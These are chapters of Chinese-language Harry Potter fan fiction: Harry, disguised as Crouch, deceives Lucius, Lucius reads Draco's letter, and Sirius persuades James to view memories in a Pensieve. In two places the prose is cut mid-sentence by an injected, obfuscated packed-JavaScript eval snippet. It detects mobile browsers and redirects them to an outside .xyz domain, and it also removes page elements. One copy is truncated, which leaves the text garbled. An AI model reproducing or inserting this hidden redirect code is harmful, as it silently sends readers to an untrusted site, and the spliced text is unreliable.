没有更多时间思考,哈利迅速做出决定。他快步走向书架,按下第三排书脊上的凹槽。书架悄无声息地滑开一道缝隙,露出通往地下的密道入口。这是他与斯内普在决意一同潜入食死徒圈后设下的应急通道,连接他的卧室与斯内普的地窖——为了应对无法预见的危机,尤其是哈利需要在短时间内切换身份的情况。 哈利钻入通道,狭窄的石壁几乎擦着他的肩膀。他用魔杖尖端微弱的光芒照亮前路,弯腰快步前行,甚至能听见自己的心跳声在狭窄的通道中怦怦作响。时间在流逝,黑魔标记上的字迹已经消失,但卢修斯不会等太久。 抵达地窖尽头的小门时,哈利的额头已沁出一层冷汗。他敲出三短一长的节奏——这是他与斯内普约定的紧急信号,此前从未动用过。 门几乎立刻打开,斯内普站在门后,神色警觉。他披着黑色睡袍,看起来刚准备就寝。他眼中闪过一丝讶异,目光迅速扫过哈利的脸。 “出什么事了?”他低声问,随即侧身让出通道。 “卢修斯,”哈利低声急促道,“黑魔标记传来紧急消息,要求小克劳奇立刻通过壁炉联系马尔福庄园。” 斯内普脸色顿时紧绷,迅速关上门,连施三道静音咒。“什么时候?” “就在刚才。”哈利抬起左臂,标记已平静下来,但那种威胁感仍悬在空气中,“我必须立刻回应,否则——” “跟我来。”斯内普打断他,转身走入地窖深处。在草药与药瓶堆积的阴影中,他魔杖轻触墙壁,石墙无声分开,露出一座隐藏的壁炉。 “独立连接点。”他简短地说,从内袋掏出一小瓶浑浊液体,丢进一根细发丝。液体剧烈翻滚后变成铁锈色。“克劳奇的。”他递过药水,“一小时有效。” 哈利接过瓶子,毫不迟疑地仰头灌下。药水尝起来像发霉的皮革混着烂鱼的味道,恶心得他险些吐出来。紧接着,一阵熟悉的剧痛涌遍全身——皮肤融化重组,骨骼拉长变形,每一寸血肉都在抗议这非自然的转变。 十几秒后,站在斯内普面前的不再是哈利·波特,而是巴蒂·小克劳奇——那个对伏地魔狂热忠诚的食死徒。 “保持警惕,”斯内普低声说,递给哈利一件黑色长袍,“卢修斯可能会问起你现在的任务。他不会知道具体细节,回答时模糊些。”他退到壁炉视线之外,魔杖已握在手,随时准备应对意外。 哈利套上长袍,点点头,深吸一口气,在脑海中细细回想小克劳奇的每一个习惯性动作。他抓起一把飞路粉,精准地抛入壁炉。他不是头一次伪装成克劳奇,可这次是实时通讯,半点差错都出不得。 绿色火焰腾空而起,他俯身将头探入,用克劳奇特有的嘶哑声音说道:“马尔福庄园,卢修斯的书房。” 一阵天旋地转过后,视野渐渐清晰。马尔福庄园那奢华的书房映入眼帘——暗绿色的墙纸,银质烛台,墙上马尔福家族画像俯视着一切。卢修斯·马尔福背对壁炉而立,一只手撑在桌沿上,启动黑魔标记的紧急联络明显已让他魔力透支。 听到动静,卢修斯缓缓转过身。那头平日里梳理得一丝不苟的白金长发今夜略显凌乱,苍白的面容上带着掩不住的倦意。他眯起灰蓝色的眼睛,审视着壁炉中的“来客”。“巴蒂,”他的声音低沉,夹杂着疲惫与不满,“我尝试联系你整整三周,主人的耐心正在消磨殆尽。” 哈利舔了舔上唇,模仿着小克劳奇的习惯动作,“我在东欧山区,”他刻意压低嗓音,“执行主人交予的特殊任务。你的信号刚刚才透过黑魔印记传到我这儿。”他微微睁大眼睛,装出那份狂热的神情,“为了主人,我愿付出一切。他有什么命令?” 卢修斯眯眼打量他:“主人三周前就已下令召你回归,你却迟迟不见踪影。”他走近壁炉,“我们要前往小汉格顿的冈特老宅,寻找某件物品。他说你知道要找的是什么。” 哈利的思绪飞转。卢修斯的话里透露出一个关键信息——他似乎并不清楚具体目标,只是奉命行事。这对哈利来说是个好消息,意味着伏地魔对自己的魂器仍保持谨慎,没有告诉任何人全部细节。 “我当然知道。”哈利微微扬起下巴,“但东欧的任务同样关键。我正在追踪一件黑魔法物品,一旦到手,将为主人增添前所未有的力量。” 卢修斯脸色阴沉:“什么物品?” “主人只告诉了我。”哈利避开直接回答,语气带了点挑衅的味道,“如果他认为你需要知道这些细节,卢修斯,他自然会告诉你。”他故意在“卢修斯”这个名字上故意加重了语气,隐隐透出对马尔福家族的那份轻蔑。 卢修斯捏紧了蛇头手杖。他沉默片刻,冷冷地问,“那么,你什么时候能回来?小汉格顿的计划已经被拖延太久。” 哈利故意流露思考的神色,“十天。我只需要十天,就能破解最后一道守护咒。如果提前完成,我会立刻通知你。” “十天?”卢修斯重复了一遍,语气中充满不信任,“主人不会满意这个时间表。他最近异常急切。” 哈利的心跳微微加速。他敏锐地捕捉到了这个细节——伏地魔在加快回收魂器的步伐,这绝不是好兆头。但他面上不动声色,用小克劳奇那种病态的忠诚语气说道,“为了主人,我宁可完成得彻底,也不愿因仓促而失败。告诉主人,冈特老宅的使命,我绝不会辜负。十天后,我会直接通过你的壁炉联系,我们一同前往。” 卢修斯盯着他看了许久,最终勉强点头,“十天,不能再多。你应该清楚,巴蒂,主人的耐心是有限的,哪怕对你也不例外。别忘了我们如何对待那些令主人失望的人。” “我从未忘记。”哈利冷静地回应,“十天后见,卢修斯。” 壁炉中的魔法火光瞬间消散,哈利猛地向后一退,双腿一软,险些跌坐在地窖冰冷的石板上。浑身的肌肉都因为紧绷而酸痛,长袍湿漉漉地贴在背上。他抬头看向斯内普,那张惯常冷漠的脸上难得显露出些许担忧。 斯内普收起魔杖,走上前来,“他相信了吗?” “暂时相信了。”哈利深吸一口气,嗓音仍带着点克劳奇的嘶哑,“我向卢修斯解释了‘我’最近任务的棘手,争取了点时间。我们有十天准备,之后我得去马尔福庄园,和他一起前往冈特老宅取戒指。” “戒指?”斯内普的手指猛地攥紧了魔杖,眉头皱成一道深痕,“又一个魂器?” “是的,我也觉得不对劲。”哈利揉了揉隐隐作痛的手臂,“伏地魔怎么会突然想起冈特老宅?之前他对魂器回收没这么上心。上次我们带回假的挂坠盒,他也只是惩罚了‘我’,命令继续去找真品。可现在,他忽然这么急……”他顿了顿,声音低下去,“我怀疑他又得到了未来的‘记忆’——说不定日记本也已经在他手里了。” “贸然过去无异于送死。”斯内普的声音变得冷硬,“我们必须告知邓布利多。” “不行。”哈利摇了摇头,语气坚决,“这件事我不会告诉邓布利多。”他直视斯内普,“你也不能。” “又是你的‘英雄主义’?”斯内普唇角微撇,嘲讽毫不掩饰,“还是你觉得救世主的光环能挡住黑魔法的侵蚀?” “那枚戒指差点杀了邓布利多。”哈利手指用力按了按太阳穴,想要驱散复方汤剂残留的不适,“但如果我不去,伏地魔不仅会怀疑‘克劳奇’的忠诚,还会派其他人去取戒指。到那时,戒指就永远落入他手中了。” “那更应该告诉邓布利多。”斯内普的语气陡然尖刻,“或者你认为自己的能力已超越阿不思·邓布利多?” 哈利的目光垂向地面,肩膀微微一沉。“那枚戒指上嵌着的石头是复活石,死亡圣器之一。”他的声音低沉了下来,脑海里闪过邓布利多焦黑的手,那痛苦的样子至今刻在他脑子里,“邓布利多找到它后,没能抗拒它的诱惑。复活石的力量……它能让人看到已经离去的人,即使只是幻影。对一个背负太多遗憾的人来说,这种诱惑几乎无法抵挡。” 他抬起头,说话时没有丝毫犹豫,“我亲眼看着他因诅咒而痛苦,看着他的生命一点点流逝,却完全帮不上忙。如果告诉邓布利多,他很可能会坚持亲自前往。谁能保证他不会再犯同样的错?我不能让那一切重演。” “再说,”哈利继续说,“伏地魔显然混淆了自己的判断,可能是灵魂残缺也扰乱了他的记忆。他留下的防护咒连邓布利多费尽心力才破解,小克劳奇和卢修斯怎么可能轻易成功?这恰好为我们的失败提供了合理的理由。” “你打算空手而回?”斯内普眯起眼睛,“黑魔王对失败的容忍度极低。” “我不会让他拿到戒指的。”哈利斩钉截铁地说,“但我也不会让邓布利多参与进来。” 斯内普沉默了片刻,黑眼睛审视着他。“我跟你一起去。” “西弗勒斯,”哈利挑起眉毛,语气带上点揶揄,“这不像是你会犯的错误。伏地魔只安排了我和卢修斯两人前往,你甚至不该知道这件事。你拿什么理由跟去?” 斯内普的嘴唇抿成一条细线。“你怎么说服邓布利多?十天后离开校园,这不是一两小时的短暂旅行。” “我会找个恰当的理由。”哈利故作轻松地说,“说不定伏地魔还会因为其他事情把我召唤回去。毕竟我一直找不到真正的挂坠盒,他说不定会先把我叫过去来一轮钻心咒。” “你不会出卖我的吧,西弗勒斯?”他又耸了耸肩,半开玩笑地问。 斯内普的表情看上去像是恨不得把他塞进坩埚里。 见斯内普脸色不好看,哈利轻轻叹了口气,语气变得严肃,“我不会拿自己的生命去冒险,我还有很多事要做。”他认真地说,“也不可能丢下泰迪一个人。” 话一出口,他瞥见斯内普脸上微微一变。 “放轻松,西弗勒斯。我保证会小心。”哈利补了一句,声音真诚了些。 “你对老宅内的防护了解多少?”斯内普语气又变得锐利,“邓布利多是怎么突破那些魔法屏障的?他到底遭遇了什么?” 哈利摇摇头,“不知道。邓布利多从没细说过那次经历。我只知道结果——他戴上戒指后被诅咒重创,不得不请你帮忙控制,不让它继续蔓延。至于具体防护和诅咒的本质……我完全没头绪。” “一无所知就敢去?”斯内普从齿缝间挤出这句话,“波特,我开始怀疑你是否真的摆脱了那些格兰芬多的愚蠢莽撞。” “不是莽撞,西弗勒斯。”哈利迎上他的目光,语气沉稳,“这是计算过的风险。总得有人去。如果伏地魔完成了灵魂重铸,一个拥有完整灵魂的黑魔王将远比我们现在面对的更加可怕。” 斯内普眯起眼睛盯了他一会儿,转身走向药柜。“至少等我配好反诅咒药剂。”他的语气毫无商量余地,手指从架上拈起几个空瓶,“能在你接触诅咒时提供短暂保护。”他转过身,黑眼睛里的警告清晰无比,“如果你死在那里,波特,我拒绝为你的愚蠢决定向任何人解释。” 哈利感到自己的心被什么东西轻轻碰了一下。他突然想起了很多事。那些被时间模糊的片段突然清晰起来——魁地奇比赛时念出的反咒,伪装情报掩护下的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卢修斯皱着眉头回想克劳奇的话。有什么不对劲的地方,但又说不上来。克劳奇的回答太过……平静?太有条理?这与他记忆中那个狂热的巴蒂不太一样。但他没有精力深究这微妙的异常——黑魔标记的余痛仍在左臂上蔓延,如同无数细针刺入血脉。何况主人信任巴蒂胜过许多人,这一点毋庸置疑。即使有些微弱的疑虑,卢修斯也不敢贸然质疑黑魔王的安排。 卢修斯艰难地取出手帕,擦去额上的冷汗。他试图聚集精神,视线落在书桌上刚送达的信件上,最上面那封信笺上是德拉科熟悉的字迹。他伸出手,惊讶地发现连拿起信的力气都快耗尽,第二次尝试才成功拆开信封,展开了那张折叠整齐的羊皮纸。 父亲: 霍格沃兹变得越来越荒谬。那个乌姆里奇女人现在连斯莱特林都不放过了,昨天布雷斯被她没收了一本《高级咒语变形研究》,理由是“可能助长不当行为”。 我不明白,魔法部派她来到底是为了调查安全问题,还是为了让所有学生都无法正常学习?甚至连魁地奇训练都受到影响,斯莱特林队的训练时间被一再压缩。 对了,关于那些墙上的标记,我确信那只是几个低年级学生的恶作剧。他们可能是从《预言家日报》上读到了什么无聊报道,就学着涂鸦玩了。这种事写进调查报告,简直是对魔法部调查能力的侮辱。 想必魔法部不会对乌姆里奇的胡作非为视而不见吧?毕竟,继续这样下去,就连斯莱特林的声誉也会受损。 期待您的回信, 德拉科 卢修斯读完信,手臂无力地垂落,羊皮纸轻声滑至桌面。他盯着德拉科的签名,回想起一年多前那场噩梦的开始。小巴蒂·克劳奇未经黑魔王许可便囚禁了德拉科,窃取他的身份混入霍格沃兹。最讽刺的是,在众多可选目标中,那个疯子偏偏挑中了他的儿子。 起初的数月,卢修斯全然未觉异常。来信上依然是德拉科一贯的笔迹,信纸带有相同的马尔福家徽水印,连折痕都丝毫不差。只有字里行间渗出的冷淡与生疏,那些细微变化,被他错当成儿子在学校适应新环境的正常反应。德拉科向来对不如意之事反应强烈,卢修斯本以为这只是他面对霍格沃兹那些“不合标准”的同学和教师时的自然态度。 当卢修斯终于察觉不对时,黑魔王已与“德拉科”建立了联系。他面临抉择:揭露真相救出儿子,或遵从主人意志保持沉默。他选择了效忠黑魔王,将家族地位置于儿子安全之上——一个在无数个失眠的夜晚令他悔恨的决定。 德拉科获救后看向他的眼神刺痛了卢修斯。那眼神既不愤怒也不控诉,只有一种比恨更令人心碎的失望。无论在庄园华丽的会客厅或宁静的书房,那种目光都如影随形,令卢修斯窒息。他们之间不仅隔着几步距离,更像隔着一面无形的冰墙,男孩站在另一端,任何靠近的尝试都被拒之门外。 如今,在这封措辞谨慎的信中,卢修斯第一次感受到那道鸿沟或许并非不可跨越。德拉科终于再次向他求助,哪怕只为学校里的小麻烦。这份久违的依赖让卢修斯稍稍松了口气。 一阵突如其来的眩晕让他扶住额头,启动印记的代价比预想的更为严重。他伸手想取出魔药,指尖却麻木到几乎握不住瓶子。 “卢修斯?”纳西莎的声音从门口传来。她走进书房,一眼看出丈夫的异样,脸色微变,低声问:“你这是怎么了?” 她冲到他身边,细长的手指握住他冰冷发颤的手腕。 “必要的联络。”卢修斯勉强扯出一丝笑容,嗓子却哑得厉害,“德拉科来信了。” 纳西莎扫了一眼桌上的信,面露恍然,又带着点担心。她从卢修斯的内袋掏出一个小瓶,熟练地倒出几滴银色液体送到他唇边。“复魔药剂。我再去取些。” 卢修斯顺从地咽下药水,一股微暖的感觉慢慢渗进血管,缓解了些许寒意。纳西莎回到身边时,他的呼吸已经平稳了些。 “你用了那种联络。”她语气平平,声音里却夹着责备,“主人要求你做什么?” “克劳奇。”卢修斯深吸一口气,感受着药剂逐渐发挥作用,“我不能告诉你更多。” 纳西莎没再追问。她知道这已经是极限——马尔福夫妇之间心照不宣的界限,她不过问具体细节,而他确保她永远处于足够安全的距离。她递给丈夫第二剂药水,手指轻轻滑过他那头苍白的金发。 “你该休息。”她低声说,眼里的忧虑藏不住,“这种消耗太危险了。” 卢修斯接过药剂,手不再那么颤抖了。“西茜,”他轻声唤着妻子的昵称,“我需要给福吉写信。关于乌姆里奇的事。”原本,他对乌姆里奇在霍格沃兹掀起波澜是乐见其成的。那能够牵制邓布利多,为主人的计划创造有利条件。可现在,魔法部过度的干预,反而可能引起不必要的关注。 纳西莎的蓝眼睛敏锐地审视着丈夫,“这与主人的命令有关?” “不。”卢修斯轻声回答,他的目光落在德拉科的信上。 纳西莎看懂了他没说出口的意思。她手指轻抚过那封信,停在德拉科的名字上。“不管怎么样,卢修斯,”她声音轻却稳,“德拉科是我们的儿子,他的安全比任何事都重要。”她停顿了一下,目光变得坚定,“即使是主人的命令。” 卢修斯瞥了一眼紧闭的书房门,确保没人能听见这句近乎叛逆的话语。这不是他们第一次在忠诚与家族间挣扎,但自从德拉科被克劳奇囚禁后,纳西莎的立场变得更加鲜明。她从不在意纯血统的荣耀或权力的游戏——至少不如她在意德拉科,她唯一的儿子。 “我明白,西茜。”他轻轻覆上妻子的手,药剂的力量正在让他缓过来,但心中那种因德拉科而生的牵挂却比任何魔法都更为持久。“我会处理好的。” 这不是背叛,他对自己说。自己的选择是明智的权衡,是为了更妥善地履行主人的意愿。 他又在心里加了一句:也是为了德拉科。为了马尔福家的将来。 79. 小天狼星的来访 波特家的餐厅里,三个人围坐在几乎没动过的晚餐旁。莉莉切下的牛肉饼堆在盘中,面包篮里的几片面包边缘已经变硬。迷迭香和烤土豆的香气早已散去大半,却无人在意。叉子偶尔碰撞盘子的声响在沉默中显得突兀刺耳。 莉莉时不时抬头看向詹姆斯,后者低头用叉子拨弄盘中的食物,咀嚼时心不在焉。小天狼星坐在对面,几天未修的胡茬爬满下巴,眼睛下方有明显的阴影。他魂不守舍的,一直看着自己面前几乎未动的牛肉饼,连叉子都很少拿起。晚餐开始后,三人几乎不怎么说话,每次开口都像在完成某种义务。 “小天狼星,魔法部的工作还顺利吗?”莉莉开了口,顺手将一缕红发别到耳后。 小天狼星这才回神,抬起头勉强挤出一个笑容,“还行,除了斯克林杰总是对我的报告格式挑三拣四。” 詹姆斯嘴角动了一下,似乎想笑,却只是叹了口气。 “你是从魔法部直接过来的吗?”莉莉又问,递给小天狼星一篮面包。 “不,我从霍格沃——”小天狼星突然停住了。 整个房间瞬间安静下来。詹姆斯的叉子悬在半空;莉莉的手指在桌面上收紧。自从小哈利离世,霍格沃兹这个名字就成了家中的禁忌。 “我是说,我经过那附近,”小天狼星匆忙改口,声音不自然地提高,“上次在猪头酒吧定了些东西,顺路去取了。”他叉起一块牛肉饼咬了一大口,“莉莉,这牛肉饼真不错——” “大脚板。”莉莉轻声打断,手轻抚过隆起的腹部,“别在意。” 小天狼星注意到莉莉抚摸腹部的动作,找了个不那么敏感的话题,“知道是男孩女孩了吗?” “是个女孩。”莉莉回答时嘴角上扬,脸上有了些许活力,“你知道的,我一直想要个女儿。” “名字取好了吗?” “教名我们还在考虑。”莉莉瞥了眼詹姆斯,他仍低头拨弄着盘中食物,“中间名已经决定了。” 小天狼星瞬间明白了——那会是某种纪念,对逝去儿子的纪念。他没再追问,喉咙发紧,放下了手中的叉子。 “我们想请莱姆斯做教父。”莉莉接着说,“他这么多年一直单身,应该会乐意有个小家伙陪他。” 小天狼星点了下头,嘴角勉强一扯,脑中却突然想起了泰迪·卢平。上次从詹姆斯那儿得知那孩子的身份后,莱姆斯就缩回了老样子——这几周,他借口赶稿子把自己埋在羊皮纸里,绝口不提泰迪的名字。明明知道那是自己的儿子,却宁愿躲在狼人的阴影里不肯抬头。不用猜也知道,月亮脸现在八成还在钻牛角尖,觉得自己不配有个家。 他忽然苦笑了一声,低得几乎听不见。莱姆斯将要成为莉莉女儿的教父,却连自己的孩子都不敢面对——可他和詹姆斯又好到哪里去呢?他今天才鼓起勇气去找邓布利多,那些记忆压在心头多久他都不敢细算。而詹姆斯呢?连那个名字都碰不得,连听都不愿意听到。 莉莉慢慢站起身,“我去拿苹果派。”她走进厨房,留下两个男人沉浸在各自的沉默中。 詹姆斯靠回椅背,长出一口气,“我们聊点别的吧。我看到你骑那辆老摩托来的,魔法交通司最近查得很严。” 小天狼星抓了抓头发,“忽然想起很久没和老伙计一起出门了。它还行,就是有点咳嗽,得找时间修修。” 詹姆斯的肩膀放松了些,他揉了揉额头,语气轻松了些,“你那破摩托早该扔了,还记得那次在上空熄火,差点砸到蜂蜜公爵的烟囱吗?别老让我帮你擦屁股,大脚板。” 小天狼星咧开嘴,“嘿,那次是因为你非要试什么‘加速咒’,结果把引擎烧了。谁擦谁的屁股还不一定呢,尖头叉子。” 莉莉端着一盘苹果派回到餐桌,微微皱眉看着两人。“我就离开了两分钟,你们就开始回忆那些违反校规的‘光辉历史’了?”她的语气虽带责备,嘴角却松了松——至少气氛不再那么紧绷了。 “不算违反校规,”詹姆斯嘴角上扬,“那时候我们都毕业了。” “那就是违反魔法部规定,”莉莉一边切开派,一边轻叹着摇了摇头,“我至今记得穆迪气得脸红的样子,说你们差点暴露整个巫师世界。” “穆迪只是嫉妒我的摩托。”小天狼星接过她递来的一块派,“你们知道他后来偷偷问我哪里能搞到一辆吗?” 詹姆斯笑了出来,这是晚餐开始后他第一次真正放松,“穆迪?骑飞天摩托?他那条木腿要怎么踢发动踏板?” 莉莉也忍不住笑了,“别,别让我想象那个画面。” 三人轻松地笑着,开始断断续续地聊起工作中的琐事,晚餐在这种勉强轻松的氛围中继续,话题小心避开了所有敏感区域。 派吃到一半时,莉莉突然轻轻吸了口气,按住隆起的腹部。 “怎么了?”詹姆斯猛地坐直。 “没事,”莉莉冲他一笑,“小家伙有点调皮,踢了我一脚,腰酸得厉害,我可能需要躺一会儿。” 詹姆斯立即站起来,椅子在地板上擦出一声响。“我陪你上去。” “我真的没事。”莉莉拍了拍他的手腕,看着詹姆斯,“我想你们男孩可能有些话要说。” 但詹姆斯依然固执地扶着她,莉莉只能歉意地看了小天狼星一眼,“抱歉,小天狼星,今晚我要做个不称职的女主人了。” “我很快就回来,”詹姆斯转向小天狼星,“给自己再倒点喝的。” 小天狼星靠着椅背,懒懒地抬了抬手,“没事儿,莉莉,你歇着去吧,我在这儿不会渴死。” 詹姆斯一只手扶着莉莉的后背,另一只手轻握她的手肘,走得很慢,目光始终未离开妻子的侧脸。 —————— 小天狼星在空荡的餐厅里坐了片刻,起身端着半杯黄油啤酒走进起居室,坐进壁炉旁的扶手椅。他的目光扫过墙壁,发现比上次来时少了许多照片。婚礼照片仍在原处,小哈利的襁褓照被挪到了角落,但记录着男孩骑玩具扫帚和追逐蒲绒绒瞬间的照片全都不见了。墙上只剩下几处浅色的方形痕迹。 壁炉架上,一个相框倒扣着。小天狼星不用看也知道,那是前年圣诞节的全家福。 情况比上次来时更糟了。小天狼星意识到詹姆斯并没有在好转,而是在筑起更高的围墙。那些墙上的空白处像无声的警告——今晚的计划可能会彻底摧毁他们的友谊。但如果不这么做,詹姆斯只会继续这样折磨自己。小天狼星在来的路上早就打定主意,即使冒着失去最好朋友的风险,他也必须让詹姆斯面对真相。没有别的方法了。 放下酒杯时,他眼睛扫到茶几上摊开的《预言家日报》特刊。他拿起报纸,头版标题刺眼地写着霍格沃兹的安全隐患和黑魔法防御教师的身份疑云——又是丽塔·斯基特的手笔,那个专爱胡编乱造的女人。他皱眉扫过几行,丽塔毫不掩饰地暗示哈利·佩弗利尔和邓布利多之间存在某种不寻常的关系,字里行间充满恶意揣测。 但真正吸引他的是标题下附着的照片——哈利站在石砌走廊上,弯腰专注地听一个扎辫子的女生提问。女孩指着课本,哈利点头微笑,眼神温和地鼓励她。突然,他警觉地抬头,伸手遮挡镜头,照片又开始循环。 小天狼星注视着这画面,手指无意识地蹭着照片边缘。黑白照片模糊了许多细节,却掩不住那种熟悉得让他胸口一紧的感觉。他试图把照片中这位耐心回答学生问题的年轻教授,与记忆碎片中那个冲动善良的稚嫩少年重叠在一起。明明看的是个成年人,此刻却让他心底像被什么攥住,又酸又疼,仿佛那个需要他守护的男孩从未真正走远。 小天狼星听着詹姆斯沉重又迟疑的脚步声从楼梯传来。他捏着报纸,没转身,感受到詹姆斯在起居室入口处站定,目光落在自己身上。 “你可以把那个东西收起来了。”詹姆斯说道,声音冷硬。 小天狼星叹了口气,将报纸放回茶几。詹姆斯走向壁炉,一只手撑在壁炉架上。小天狼星也站起身,挪了几步,站到他身旁。 “说吧,大脚板。”詹姆斯开口,每个字都像是在努力控制某种情绪,“我猜你今晚来不只是为了陪我们吃晚餐。” “我今天见过邓布利多了。”小天狼星没有拐弯抹角,“那些记忆——那些我一直以为是梦的碎片——越来越清晰,也越来越完整了。” 詹姆斯没有回应,只是抿紧了嘴,抄起壁炉边的拨火棍,狠狠戳了木柴几下。火焰蹿得更高,照亮了他苍白的脸。 “我看到了很多从未见过的画面,詹姆斯。”小天狼星继续说,“关于我自己,关于你和莉莉……还有哈——” “我们已经讨论过这个话题了。”詹姆斯打断他,语气冷淡,“你的梦,你那些预感,或者随便什么名字。我都听过了。”他手里的拨火棍顿了顿,眼睛死盯着炉火,“我不明白为什么要重提。” “在见邓布利多之前,我先去了霍格莫德。”小天狼星瞥了眼好友僵硬的侧脸,“这些画面逼得我不得不去找答案。在村外的山坡上有个山洞——我从未去过那儿,可在梦里,我一次又一次地躲在那里,像只流浪狗一样生活。当我今天站在那个洞穴里,就和梦里的画面一模一样。” 詹姆斯冷笑一声,眉毛高高挑起,拨火棍往木柴上一杵,“流浪狗?你?魔法部傲罗特别行动队的队长?你是被谁施了混淆咒吗?还是最近工作太累,产生了幻觉?” “我知道这听起来很荒谬。”小天狼星平静地说,“但我确实找到了那个洞穴,詹姆斯。这不是幻觉。” “所以你找到了一个山洞,然后呢?这能证明什么?”詹姆斯的声音变得尖锐,他猛地转过脸,声音硬得像冰,“霍格莫德那一带有多少山洞和洞穴?几十个?上百个?我不需要听这些胡言乱语。” 小天狼星停了停,皱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156417|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉,转身走向酒柜。他取出火焰威士忌和两个杯子,倒了两杯,递给詹姆斯一杯。 “我理解你的怀疑,尖头叉子。如果是你告诉我这些,我可能也会嘲笑你。”小天狼星声音沉下来,“我也试着不去想,可它们太真了。我确信这些绝不是预感或梦境。邓布利多说——” “邓布利多说。”詹姆斯一口喝干杯中的酒,脸一沉,“我已经听够了邓布利多说的话。既然你和他这么合得来,为什么不去找他继续讨论?” “你不能永远回避这个话题,尖头叉子。”小天狼星看着詹姆斯紧绷的肩膀,抬手想拍拍他的肩,手动了动,还是放下来,“这不只是关于我的梦,也不只是关于他。这是关于所有人的安全。” “安全?”詹姆斯冷笑,手里的杯子攥紧了,“哈利已经不需要考虑安全问题了,你现在要我关心什么安全?” “我不是这个意思。”小天狼星把酒杯放在壁炉架上,向前迈了一步,“十一年前的万圣节,你还记得吗?” 詹姆斯的手指在空杯上收紧了一下,眉头一皱,“十一年前?和这有什么关系?” “尖头叉子,我看到的远远不止那个山洞。你还记不记得那天晚上,你说过伏地魔已经站在你家门口——却又突然消失了。”小天狼星停顿了一下,灰眼睛直视詹姆斯,“你从没想过为什么吗?” “因为彼得背叛了我们,泄露了行踪。”詹姆斯声音生硬,他砰的一声放下杯子,“这有什么好说的?我们已经抓住了他,他在阿兹卡班腐烂去吧。” “但伏地魔为什么临时改变主意?”小天狼星追问,“他已经找到了你们,却在最后一刻放弃了攻击。这不像他的作风。” 詹姆斯重新倒了一杯酒,酒瓶撞得叮当作响,“我不是伏地魔的心理专家。也许他感应到了邓布利多的魔法保护,也许他有了更感兴趣的对象。”他又一口干完杯中的酒,然后怒视着小天狼星,“你到底想说什么?” “邓布利多认为,伏地魔也看到了那些画面。”小天狼星放慢了语速,声音低下去,“就像我看到的记忆碎片一样,他看到了那个未来——他袭击你们却失败的未来。” 詹姆斯的瞳孔微微收缩,呼吸变得急促,“什么意思?伏地魔看到了什么未来?你和邓布利多在玩什么时间游戏?” “邓布利多相信,历史被改变了。”小天狼星的声音低下去,小心挑选字眼,“那条原本的路——伏地魔动手后的另一个结局——没有完全消失。它可能还留下了些痕迹,有些人会有感觉。” “你有什么证据支持这些荒谬的理论?”詹姆斯攥紧拳头又松开,“除了你那些可疑的‘记忆’,还有什么能证明那就是——” 他又尖锐地问,“如果这一切都是真的,为什么只有你能记得?为什么我没有任何这样的记忆?” 小天狼星摇摇头,“我也不完全明白。也许是我和哈利之间有什么联系……” “所以你比亲生父亲还亲?”詹姆斯话一出口就后悔了,但自尊心让他硬撑着没收回。他咬了咬牙,目光避开了小天狼星。 “别曲解我的意思,我想可能是因为在那个时间里,你和莉莉都过早地离开了哈利。”小天狼星叹气,“我确实没有你想要的那种证据,詹姆斯。”他目光扫过房间,最后停在詹姆斯书房的方向。“但我有东西可以给你看。不是靠言语,不是靠我的说辞——而是让你亲眼看见。” 詹姆斯顺着他的视线望去,眉头拧紧,“你想说什么……” “你的冥想盆。”小天狼星直截了当地说,“让我把这些记忆给你看,尖头叉子。不是碎片,不是梦境——是真实发生过的事。” 詹姆斯靠在炉边,手扶着额头,久久不说话。小天狼星盯着他,嘴角微微上扬——他赌对了。这是他一路上绞尽脑汁想出的办法,只要詹姆斯肯看那些记忆,哪怕只是动摇一秒,说不定他就不会再死撑着那堵墙不放。 “为什么?”詹姆斯终于开口,声音沙哑,“为什么要用这种方式?你以为这会改变什么?我的儿子已经走了——” “这些记忆里有个年轻人,詹姆斯。”小天狼星打断他,声音猛然拔高,“来自另一个时间。在那个世界里,他失去了父母,但他活下来了,长大了。” 小天狼星摇了摇头。“詹姆斯,有些东西,必须亲眼看到才能理解。”他向前一步,却没靠得太近,“五分钟。只需要五分钟,如果你看完这些后仍然认为我疯了,我就再也不提这件事。” 书房的门静静地立在那儿。詹姆斯盯着那扇门,一部分的他想把小天狼星轰出去,回到刚才那种麻木却安全的氛围,另一部分却不断被一个念头折磨着——如果真有什么他需要知道呢? 他想到楼上休息的莉莉,她一直比他勇敢,要是她在,会怎么做? “五分钟。”詹姆斯最终说道,声音里流露出疲惫,“然后这一切就结束了。” 80. 银色记忆(上) 詹姆斯走到书房尽头,停在一幅古旧的挂毯前。他伸出魔杖,在挂毯的某个图案上连点三下,低声念出一句咒语。挂毯如烟雾般散去,现出一道带锁的黑色金属门。 再一挥魔杖,锁发出轻微的咔哒声,门缓缓开启。狭小空间内,石制柱台上稳稳放置着冥想盆。银色雾气在盆中翻涌,散发出冷幽幽的光。 “你确定要这么做?”詹姆斯背对着小天狼星问道,声音生硬。 小天狼星没有立即回答。他抽出魔杖,抵住自己的太阳穴,闭上眼睛。当他再次睁眼时,一缕银色的记忆丝线已缠绕在杖尖。他走到冥想盆前,将记忆小心地放了进去。盆中的银色物质立即翻腾起来,形成一个旋转的漩涡。 “是的,我确定。”小天狼星终于开口,语气坚定,“但我必须提醒你,詹姆斯——这些东西不会让你轻松。” 詹姆斯视线从漩涡移到小天狼星脸上。作为傲罗,他清楚冥想盆的效用——它能让人完全沉浸于真实记忆中。他即将经历的不是简单描述或模糊回忆,而是毫无遮掩的过去。他深吸一口气,牙关紧咬。 “那就开始吧。”詹姆斯说着便俯下身,脸靠近了银色的漩涡。 